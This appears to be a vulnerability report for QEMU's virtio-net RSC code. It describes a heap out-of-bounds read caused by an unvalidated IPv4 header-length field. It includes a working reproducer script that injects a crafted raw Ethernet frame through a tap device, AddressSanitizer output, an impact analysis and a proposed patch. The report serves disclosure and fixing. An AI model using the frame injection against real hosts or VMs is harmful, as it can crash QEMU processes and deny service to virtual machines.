Disclaimer: The contents below are largely assisted by LLM, but I have reviewed all contents. ## Host environment - **QEMU flavor:** `qemu-system-x86_64` (unmodified upstream binary; no source-level harness — a real `tap` backend, one raw Ethernet frame from outside, and the guest's own virtio ring operations). - **QEMU version:** `qemu.git` master @ `3e3ccab106` (v11.1.0-rc3), reporting itself as 11.0.93. Also checked against `qemu/qemu` `master` (fetched 2026-08-10): both functions below are byte-for-byte identical there, and the call order is unchanged, so the finding applies to master as well as to 11.1.0-rc3. - **Machine / device:** `-machine q35,accel=qtest -m 128M`, `-device virtio-net-pci,guest_rsc_ext=on` on a `tap` netdev with `vhost=off` (`-netdev tap,id=n0,fd=N,vhost=off`). Both parts are required: `guest_rsc_ext` defaults to `false`, and only a userspace backend with a vnet header gives `host_hdr_len == guest_hdr_len`, which `virtio_net_receive()` demands before it will use the RSC path at all. - **Build:** host Ubuntu 24.04.4 LTS, kernel `7.0.0-15-generic x86_64`, gcc 13.3.0 (Ubuntu 13.3.0-6ubuntu2~24.04.1); `configure --target-list=x86_64-softmmu,... --enable-asan --enable-ubsan --enable-debug --disable-werror --extra-cflags='-O1 -g -fno-omit-frame-pointer'`; run with `ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:halt_on_error=1:symbolize=1`. ## Description of problem `virtio_net_rsc_receive4()` gates the frame on a length check that assumes a *minimum-size* IPv4 header, then hands the buffer straight to `virtio_net_rsc_extract_unit4()`, which walks it using the *declared* header length: ```c /* hw/net/virtio-net.c:2513 */ static size_t virtio_net_rsc_receive4(VirtioNetRscChain *chain, NetClientState *nc, const uint8_t *buf, size_t size) { ... hdr_len = ((VirtIONet *)(chain->n))->guest_hdr_len; if (size < (hdr_len + sizeof(struct eth_header) + sizeof(struct ip_header) + sizeof(struct tcp_header))) { /* 12 + 14 + 20 + 20 == 66 */ chain->stat.bypass_not_tcp++; return virtio_net_do_receive(nc, buf, size); } virtio_net_rsc_extract_unit4(chain, buf, &unit); /* <-- parses first */ if (virtio_net_rsc_sanity_check4(chain, unit.ip, buf, size) != RSC_CANDIDATE) { /* <-- validates second */ return virtio_net_do_receive(nc, buf, size); } ... } ``` ```c /* hw/net/virtio-net.c:2090 */ static void virtio_net_rsc_extract_unit4(VirtioNetRscChain *chain, const uint8_t *buf, VirtioNetRscUnit *unit) { uint16_t ip_hdrlen; struct ip_header *ip; ip = (struct ip_header *)(buf + chain->n->guest_hdr_len + sizeof(struct eth_header)); unit->ip = (void *)ip; ip_hdrlen = (ip->ip_ver_len & 0xF) << 2; /* :2100 0 .. 60 */ unit->ip_plen = &ip->ip_len; unit->tcp = (struct tcp_header *)(((uint8_t *)unit->ip) + ip_hdrlen); unit->tcp_hdrlen = (htons(unit->tcp->th_offset_flags) & 0xF000) >> 10; /* :2103 */ unit->payload = read_unit_ip_len(unit) - ip_hdrlen - unit->tcp_hdrlen; } ``` The IHL nibble at `ip->ip_ver_len & 0xF` comes straight off the wire. The only code that rejects a lying value is in `virtio_net_rsc_sanity_check4()`: ```c /* hw/net/virtio-net.c:2480, in virtio_net_rsc_sanity_check4() */ /* Don't handle packets with ip option */ if ((ip->ip_ver_len & 0xF) != VIRTIO_NET_IP4_HEADER_LENGTH) { /* == 5 */ chain->stat.ip_option++; return RSC_BYPASS; } ``` …and that runs **one line too late**. By the time it executes, line 2103 has already dereferenced `ip + 4 * IHL + 12`. **Where the read lands.** With `guest_hdr_len == 12` the IP header starts at `buf + 26`, so line 2103 reads the two bytes at `buf[38 + 4*IHL]`. The length check only guarantees `size >= 66`. For a frame of on-wire length *L* (QEMU sees `size = L + 12`) the access is out of bounds whenever ``` 38 + 4*IHL + 1 >= L + 12 i.e. IHL >= (L - 27) / 4 ``` so `IHL = 15` reads bytes 98–99 of what can be a 66-byte buffer: **32–33 bytes past the end**. The over-read is bounded — at most 60 − 20 = 40 bytes more than the length check accounted for, so ~34 bytes past the frame in the worst case. There is no corresponding IPv6 bug: `virtio_net_rsc_extract_unit6()` uses a fixed `sizeof(struct ip6_header)` and `virtio_net_rsc_receive6()` checks for exactly that. **Whether the out-of-bounds bytes escape.** They do not. `unit->tcp_hdrlen` and `unit->payload` are computed from the over-read memory, but the next statement is `virtio_net_rsc_sanity_check4()`, which returns `RSC_BYPASS` for every `IHL != 5` — that is, for every value that made the read go out of bounds in the first place. The whole `unit` is then dropped and the frame takes the ordinary receive path. So this is a pure spatial-safety violation with no information disclosure: the impact is the read itself (abort under a sanitizer, potential SIGSEGV if the allocation abuts an unmapped page), not a leak. **Which buffer it is.** The two delivery paths differ completely. There are two ways a frame reaches `virtio_net_receive()`: * **Delivered inline from the backend.** `tap_send()` reads into `TAPState::buf`, a `NET_BUFSIZE` (69632-byte) array embedded in the netdev object. An over-read of 34 bytes there stays inside a valid allocation — stale bytes from a previous frame, no sanitizer report, no fault. Harmless in practice. * **Replayed from `net/queue.c`.** When the guest has posted no RX buffer, `virtio_net_receive_rcu()` returns 0, and `qemu_net_queue_send()` parks the frame with `g_malloc(sizeof(NetPacket) + size)` — an **exact-size** allocation (`net/queue.c:105`). When the guest later publishes a buffer and kicks the queue, `virtio_net_handle_rx()` → `qemu_flush_queued_packets()` replays the frame from that exact-size heap object, and the same over-read now crosses a real allocation boundary. The reproducer drives the second case, which is the one that is genuinely memory unsafe, and it is entirely under the attacker's and the guest's normal control — an RX queue that is momentarily out of buffers is the common case on a busy guest. ## Steps to reproduce Prerequisites: an ASan build of `qemu-system-x86_64`, and root (or `CAP_NET_ADMIN` + `CAP_NET_RAW`) so the script can create a tap device and transmit a raw frame on it. Run it inside a throwaway network namespace if you would rather not leave a tap interface behind: ```sh QEMU=./build/qemu-system-x86_64 unshare -n -- ./repro_virtio_net_rsc_ihl_oob.sh ``` The script prints QEMU's output and exits 0 when a sanitizer report was produced. What it does: 1. Creates a `tap` device with `IFF_VNET_HDR` and hands its fd to QEMU via `-netdev tap,fd=N,vhost=off`. This is what makes `host_hdr_len == guest_hdr_len == 12`, without which `virtio_net_receive()` skips RSC entirely. 2. Over `qtest`, performs the ordinary guest-side bring-up of the `virtio-net-pci` device: maps BAR 4, negotiates `VIRTIO_F_VERSION_1` + `VIRTIO_NET_F_GUEST_TSO4` + `VIRTIO_NET_F_RSC_EXT`, programs RX queue 0's descriptor/avail/used rings, enables the queue and sets `DRIVER_OK` — but publishes **no** available buffer, so `virtio_net_receive_rcu()` will return 0. 3. Transmits one 54-byte Ethernet frame onto the tap from an `AF_PACKET` socket. Its ethertype is IPv4 and the first byte of the "IP header" is `0x4F`: version 4, IHL 15. QEMU receives 12 + 54 = 66 bytes, exactly the minimum `virtio_net_rsc_receive4()` accepts. 4. `tap_send()` delivers it; with no RX buffer available the frame is parked as an exact-size `g_malloc(sizeof(NetPacket) + 66)` copy in `net/queue.c`. 5. Publishes one RX buffer and kicks the queue. `virtio_net_handle_rx()` flushes the parked copy back through `virtio_net_receive()`, and `virtio_net_rsc_extract_unit4()` dereferences byte 98 of that 66-byte buffer. The inject/kick cycle is repeated up to three times only because a raw frame handed to a freshly created tap is occasionally swallowed by the host before QEMU reads it; with the retry the reproducer fired on **10 of 10** consecutive runs. `repro_virtio_net_rsc_ihl_oob.sh` — standalone, no other files needed. Takes the binary from `$QEMU`, defaulting to `./build/qemu-system-x86_64`. ```bash #!/usr/bin/env bash # virtio-net RSC IPv4: heap out-of-bounds read in virtio_net_rsc_extract_unit4(). # # Requires root (or CAP_NET_ADMIN + CAP_NET_RAW): the script creates a tap # device, hands its fd to QEMU, and injects one raw Ethernet frame into it. # Run it inside a throwaway network namespace if you do not want a stray tap # interface on the host, e.g. unshare -n -- ./this-script.sh # # QEMU must be built with AddressSanitizer to observe the report: # ../configure --target-list=x86_64-softmmu --enable-asan --disable-werror set -euo pipefail QEMU=${QEMU:-./build/qemu-system-x86_64} export QEMU export RSC_IHL=${RSC_IHL:-15} # IPv4 IHL nibble to lie with; >= 7 reads OOB export RSC_EXT=${RSC_EXT:-on} # virtio-net "guest_rsc_ext" property python3 - <<'PY' import fcntl, os, socket, struct, subprocess, sys, tempfile, time QEMU = os.environ["QEMU"] IFNAME = os.environ.get("RSC_IF", "rsctap0") IHL = int(os.environ["RSC_IHL"]) RSC_EXT = os.environ["RSC_EXT"] TUNSETIFF = 0x400454CA IFF_TAP, IFF_NO_PI, IFF_VNET_HDR = 0x0002, 0x1000, 0x4000 SIOCSIFFLAGS = 0x8914 IFF_UP, IFF_RUNNING = 0x1, 0x40 # A tap backend is required: it is the userspace virtio-net backend that ends up # with host_hdr_len == guest_hdr_len, which virtio_net_receive() demands before # it will use the RSC path at all. tun = os.open("/dev/net/tun", os.O_RDWR) fcntl.ioctl(tun, TUNSETIFF, struct.pack("16sH22x", IFNAME.encode(), IFF_TAP | IFF_NO_PI | IFF_VNET_HDR)) # Silence IPv6 autoconfiguration on the tap: an MLD report emitted when the # link comes up would otherwise be the first frame QEMU reads. for path in ("all", "default", IFNAME): try: open("/proc/sys/net/ipv6/conf/%s/disable_ipv6" % path, "w").write("1") except OSError: pass fcntl.ioctl(socket.socket(socket.AF_INET, socket.SOCK_DGRAM), SIOCSIFFLAGS, struct.pack("16sH22x", IFNAME.encode(), IFF_UP | IFF_RUNNING)) os.set_inheritable(tun, True) qtest_path = tempfile.mktemp(prefix="qemu-qtest-", dir="/tmp") cmd = [QEMU, "-display", "none", "-nodefaults", "-machine", "q35,accel=qtest", "-m", "128M", "-netdev", "tap,id=n0,fd=%d,vhost=off" % tun, "-device", "virtio-net-pci,netdev=n0,guest_rsc_ext=%s,addr=03.0" % RSC_EXT, "-qtest", "unix:%s,server=on,wait=off" % qtest_path] env = os.environ.copy() env["ASAN_OPTIONS"] = "detect_leaks=0:abort_on_error=1:halt_on_error=1:symbolize=1" print("[*] " + " ".join(cmd), flush=True) proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env, pass_fds=(tun,)) out = err = b"" try: try: qs, deadline = None, time.time() + 10 while time.time() < deadline: try: qs = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) qs.connect(qtest_path) break except OSError: qs = None time.sleep(0.05) if qs is None: raise RuntimeError("could not connect to qtest socket") qf = qs.makefile("rwb", buffering=0) def q(c): qf.write((c + "\n").encode()); qf.flush() line = qf.readline() return line.decode(errors="replace").strip() if line else "" def spin(n=20): """turn the QEMU main loop over so its tap read handler can run""" for _ in range(n): q("clock_step 1000000") time.sleep(0.02) BAR = 0xE0004000 COMMON, NOTIFY = BAR, BAR + 0x3000 Q0_DESC, Q0_AVAIL, Q0_USED, RX_BUF = 0x10000, 0x20000, 0x30000, 0x40000 # Guest side: program BAR4, negotiate VERSION_1 + GUEST_TSO4 + RSC_EXT # (this is what turns n->rsc4_enabled on and sets guest_hdr_len = 12), # enable RX queue 0, go DRIVER_OK -- but publish no available buffers. for c in ["outl 0xcf8 0x80001820", "outl 0xcfc 0x%08x" % BAR, "outl 0xcf8 0x80001824", "outl 0xcfc 0x00000000", "outl 0xcf8 0x80001804", "outw 0xcfc 0x0006", "writeb 0x%x 0x00" % (COMMON + 0x14), "writeb 0x%x 0x01" % (COMMON + 0x14), "writeb 0x%x 0x03" % (COMMON + 0x14), # word 0: bit 7 GUEST_TSO4 | word 1: bit 32 VERSION_1, bit 61 RSC_EXT "writel 0x%x 0x0" % (COMMON + 0x8), "writel 0x%x 0x00000080" % (COMMON + 0xC), "writel 0x%x 0x1" % (COMMON + 0x8), "writel 0x%x 0x20000001" % (COMMON + 0xC), "writeb 0x%x 0x0b" % (COMMON + 0x14), "writew 0x%x 0x0000" % (COMMON + 0x16), "writew 0x%x 0x0008" % (COMMON + 0x18), "writew 0x%x 0xffff" % (COMMON + 0x1A), "writeq 0x%x 0x%016x" % (COMMON + 0x20, Q0_DESC), "writeq 0x%x 0x%016x" % (COMMON + 0x28, Q0_AVAIL), "writeq 0x%x 0x%016x" % (COMMON + 0x30, Q0_USED), "writew 0x%x 0x0001" % (COMMON + 0x1C), "writew 0x%x 0x0000" % Q0_AVAIL, "writew 0x%x 0x0000" % (Q0_AVAIL + 2), "writeb 0x%x 0x0f" % (COMMON + 0x14)]: r = q(c) if not r.startswith("OK"): raise RuntimeError("qtest %r -> %r" % (c, r)) spin(5) # The frame: 14-byte Ethernet + 40 bytes whose first byte claims IPv4 with # IHL = 15 (a 60-byte IP header) although the whole frame is 54 bytes. # QEMU receives 12 (vnet header) + 54 = 66 bytes, exactly the minimum that # virtio_net_rsc_receive4() accepts -- its check assumes a 20-byte IP header. ip = bytearray(40) ip[0] = 0x40 | IHL # version 4, IHL nibble ip[2:4] = struct.pack("!H", 40) # ip_len ip[6:8] = struct.pack("!H", 0x4000) # IP_DF, not a fragment ip[9] = 6 # IPPROTO_TCP frame = bytes.fromhex("ffffffffffff5254001234560800") + bytes(ip) assert len(frame) == 54 ps = socket.socket(socket.AF_PACKET, socket.SOCK_RAW) ps.bind((IFNAME, 0)) print("[*] injecting %d-byte frame; QEMU receives %d bytes (12-byte vnet hdr)" % (len(frame), len(frame) + 12), flush=True) # Each round: # 1. send the frame. tap_send() picks it up and delivers it; # virtio_net_receive_rcu() finds no RX buffer and returns 0, so # net/queue.c parks an exact-size g_malloc(sizeof(NetPacket) + 66) copy. # 2. publish one RX buffer and kick. virtio_net_handle_rx() flushes the # parked copy back through virtio_net_receive() -> virtio_net_rsc_receive() # -> virtio_net_rsc_receive4() -> virtio_net_rsc_extract_unit4(), which # dereferences ip + 4*IHL + 12, i.e. byte 98 of a 66-byte allocation. # Repeated a few times only because a raw frame handed to a freshly created # tap is occasionally swallowed by the host before QEMU sees it. for rnd in range(3): if proc.poll() is not None: break ps.send(frame) spin(10) desc, avail_slot = Q0_DESC + 16 * rnd, Q0_AVAIL + 4 + 2 * rnd for c in ["writeq 0x%x 0x%016x" % (desc, RX_BUF + 0x1000 * rnd), "writel 0x%x 0x00001000" % (desc + 8), "writew 0x%x 0x0002" % (desc + 12), "writew 0x%x 0x0000" % (desc + 14), "writew 0x%x 0x%04x" % (avail_slot, rnd), "writew 0x%x 0x%04x" % (Q0_AVAIL + 2, rnd + 1), "writew 0x%x 0x0000" % NOTIFY, "clock_step 10000000"]: if not q(c).startswith("OK"): raise RuntimeError("QEMU stopped responding (crashed?)") time.sleep(0.5) except Exception as e: print("[*] qtest channel ended: %s: %s" % (type(e).__name__, e), flush=True) finally: try: proc.terminate() except Exception: pass try: out, err = proc.communicate(timeout=5) except subprocess.TimeoutExpired: proc.kill() out, err = proc.communicate() try: os.unlink(qtest_path) except OSError: pass text = (out + err).decode(errors="replace") sys.stdout.write(text) sys.exit(0 if "AddressSanitizer" in text else 1) PY ``` ### Observed ```text [*] injecting 54-byte frame; QEMU receives 66 bytes (12-byte vnet hdr) ================================================================= ==1430==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50b00003160a at pc 0x63003e3ce115 bp 0x7ffea2463f10 sp 0x7ffea2463f00 READ of size 2 at 0x50b00003160a thread T0 #0 0x63003e3ce114 in virtio_net_rsc_extract_unit4 ../hw/net/virtio-net.c:2103 #1 0x63003e3e63f2 in virtio_net_rsc_receive4 ../hw/net/virtio-net.c:2529 #2 0x63003e3e63f2 in virtio_net_rsc_receive ../hw/net/virtio-net.c:2675 #3 0x63003e3e63f2 in virtio_net_receive ../hw/net/virtio-net.c:2695 #4 0x63003dda3d0c in nc_sendv_compat ../net/net.c:823 #5 0x63003dda3d0c in qemu_deliver_packet_iov ../net/net.c:870 #6 0x63003ddaf6ec in qemu_net_queue_deliver ../net/queue.c:164 #7 0x63003ddb1cac in qemu_net_queue_flush ../net/queue.c:275 #8 0x63003dda5856 in qemu_flush_or_purge_queued_packets ../net/net.c:713 #9 0x63003dda59dd in qemu_flush_queued_packets ../net/net.c:726 #10 0x63003e3d651c in virtio_net_handle_rx ../hw/net/virtio-net.c:1625 #11 0x63003e890e83 in virtio_queue_notify_vq ../hw/virtio/virtio.c:2516 #12 0x63003e8912ca in virtio_queue_host_notifier_read ../hw/virtio/virtio.c:4180 #13 0x63003f55170b in aio_dispatch_handler ../util/aio-posix.c:344 #14 0x63003f55170b in aio_dispatch_ready_handlers ../util/aio-posix.c:370 #15 0x63003f5535d0 in aio_dispatch ../util/aio-posix.c:399 #16 0x63003f5b1cee in aio_ctx_dispatch ../util/async.c:365 [... glib ...] #19 0x63003f5b806d in glib_pollfds_poll ../util/main-loop.c:292 #20 0x63003f5b806d in os_host_main_loop_wait ../util/main-loop.c:315 #21 0x63003f5b806d in main_loop_wait ../util/main-loop.c:594 #22 0x63003ea49101 in qemu_main_loop ../system/runstate.c:950 #23 0x63003f37d3a1 in qemu_default_main ../system/main.c:50 #24 0x63003f37d507 in main ../system/main.c:93 0x50b00003160a is located 32 bytes after 106-byte region [0x50b000031580,0x50b0000315ea) allocated by thread T0 here: #0 0x7fc1c0aac9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69 #1 0x7fc1bfd3bac9 in g_malloc #2 0x63003ddaf8fc in qemu_net_queue_append ../net/queue.c:105 #3 0x63003ddb24f4 in qemu_net_queue_send ../net/queue.c:212 #4 0x63003dda10d7 in qemu_send_packet_async_with_flags ../net/net.c:761 #5 0x63003dda5b82 in qemu_send_packet_async ../net/net.c:768 #6 0x63003ddee3ee in tap_send ../net/tap.c:229 #7 0x63003f55170b in aio_dispatch_handler ../util/aio-posix.c:344 [... main loop ...] SUMMARY: AddressSanitizer: heap-buffer-overflow ../hw/net/virtio-net.c:2103 in virtio_net_rsc_extract_unit4 ``` The 106-byte region is `sizeof(NetPacket)` (40) + the 66-byte frame, i.e. the exact-size copy from `qemu_net_queue_append()`; byte 98 of the frame is 32 bytes past its end. That matches `38 + 4*15 = 98` exactly. ### Control matrix Same script, only `RSC_IHL` / `guest_rsc_ext` varied. Predicted boundary for a 66-byte buffer: out of bounds iff `IHL >= 7`. | `RSC_IHL` | `guest_rsc_ext` | result | |---|---|---| | 15 | on | `heap-buffer-overflow`, **32 bytes after** the 106-byte region (5 of 5 runs, identical) | | 7 | on | `heap-buffer-overflow`, **0 bytes after** the 106-byte region — exactly the predicted first byte past the end | | 6 | on | clean (read lands at byte 62 of 66 — in bounds) | | 5 | on | clean (well-formed header; this is the only value `sanity_check4()` accepts) | | 15 | off | clean — `VIRTIO_NET_F_RSC_EXT` is not advertised, so `n->rsc4_enabled` stays 0 and the RSC path is never entered | The offset moving in lockstep with the IHL nibble, and the `off` case being clean, are what rule out an artefact of the test rig. ## Impact * Host-side out-of-bounds **read** of 2 bytes at a controllable offset up to ~34 bytes past the end of a heap allocation, in the QEMU process, driven by a single minimum-size Ethernet frame from the network. * **No information disclosure.** The bytes read feed `unit->tcp_hdrlen` and `unit->payload`, both of which are discarded immediately because `virtio_net_rsc_sanity_check4()` rejects every IHL that could have made the read go out of bounds. Nothing derived from them is written to the guest, to the coalescing buffer, or to a statistic. * **No out-of-bounds write**, and no path to one from here. * Practical worst case: an abort on a build with AddressSanitizer or a comparable hardened allocator, or a SIGSEGV in the unlikely event that the exact-size `NetPacket` allocation sits at the end of a mapping — a denial of service against the QEMU process, i.e. against the target VM. On an ordinary build the read is silent. * This is a **hardening bug**: the same magnitude the maintainers assigned to the RSC bugs in #3879 ("we will fix these as hardening bugs"), with less impact than those, since those were writes. ## Suggested fix direction Validate the IHL nibble before it is used as an offset — reject `ip_hdrlen != sizeof(struct ip_header)` inside `virtio_net_rsc_extract_unit4()`. The minimal change keeps the existing structure and simply makes the extraction refuse to walk a header it has not checked: ```diff --- a/hw/net/virtio-net.c +++ b/hw/net/virtio-net.c @@ -2090,15 +2090,21 @@ static void virtio_net_rsc_extract_unit4(VirtioNetRscChain *chain, const uint8_t *buf, VirtioNetRscUnit *unit) { uint16_t ip_hdrlen; struct ip_header *ip; ip = (struct ip_header *)(buf + chain->n->guest_hdr_len + sizeof(struct eth_header)); unit->ip = (void *)ip; ip_hdrlen = (ip->ip_ver_len & 0xF) << 2; unit->ip_plen = &ip->ip_len; + /* + * The IHL nibble is attacker controlled and is only validated later, by + * virtio_net_rsc_sanity_check4(). Anything but a minimum-size header + * would make the TCP header pointer below run past the received frame, + * whose length was checked against sizeof(struct ip_header) only. + */ + if (ip_hdrlen != sizeof(struct ip_header)) { + unit->tcp = NULL; + unit->tcp_hdrlen = 0; + unit->payload = 0; + return; + } unit->tcp = (struct tcp_header *)(((uint8_t *)unit->ip) + ip_hdrlen); unit->tcp_hdrlen = (htons(unit->tcp->th_offset_flags) & 0xF000) >> 10; unit->payload = read_unit_ip_len(unit) - ip_hdrlen - unit->tcp_hdrlen; } ``` `virtio_net_rsc_sanity_check4()` rejects `IHL != 5` on the very next line in `virtio_net_rsc_receive4()`, so the early return **changes no accepted behaviour**, and `unit.tcp` is not dereferenced on the bypass path. The other caller, `virtio_net_rsc_cache_buf()` (`hw/net/virtio-net.c:2215`), only runs on frames that already passed the sanity check, so `IHL == 5` holds there. An equivalent alternative, if maintainers prefer not to touch the extractor, is to reorder `virtio_net_rsc_receive4()` so that `virtio_net_rsc_sanity_check4()` runs on `(struct ip_header *)(buf + hdr_len + sizeof(struct eth_header))` *before* `virtio_net_rsc_extract_unit4()` is called — the sanity check itself only touches fields inside the first 20 bytes, which the length check already covers. ## Attacker position and required configuration RSC is off by default and this path is narrow. Precisely, all of the following must hold: 1. **The device must be created with `guest_rsc_ext=on`.** The property defaults to `false` (`hw/net/virtio-net.c:4265`). Without it `VIRTIO_NET_F_RSC_EXT` is not in `host_features`, and since commit `a6e0519ea8` ("virtio: use masked features with set_features_ex", the fix for issue A-3 of #3879) a guest can no longer force the bit on. Verified: with `guest_rsc_ext=off` the reproducer is clean. 2. **The guest driver must negotiate `VIRTIO_NET_F_RSC_EXT` together with `VIRTIO_NET_F_GUEST_TSO4`** — that is what sets `n->rsc4_enabled` (`hw/net/virtio-net.c:957`). This is the guest's own choice; the attacker does not need to influence it. 3. **The backend must be a userspace backend with a vnet header, i.e. `tap` (or `netmap`), with `vhost=off`.** `virtio_net_receive()` refuses the RSC path when `host_hdr_len != guest_hdr_len` (added by `52c7bb369b`, the CVE-2026-63321 fix), and only `tap`/`netmap` implement `has_vnet_hdr_len`, which is what makes the two equal. `-netdev socket`, `-netdev user`, and `passt` therefore cannot reach this code at all on 11.1.0-rc3+. vhost-net / vhost-user / vhost-vdpa handle RX outside QEMU and never call `virtio_net_receive()`. 4. **The attacker must be able to put one raw Ethernet frame on the target's L2 segment** — e.g. another guest on the same bridge, or anything on the physical segment the tap is bridged to. Note one way in which this is *broader* than the overflows in #3879: those need ~65 KB frames and therefore a GSO-capable path between the two VMs. This one needs a single **minimum-size** frame (54 bytes of payload after the vnet header, i.e. below the 60-byte Ethernet minimum any NIC will emit), so no GSO, no jumbo frames, no special bridge configuration. The lying byte is the first byte of the IP header.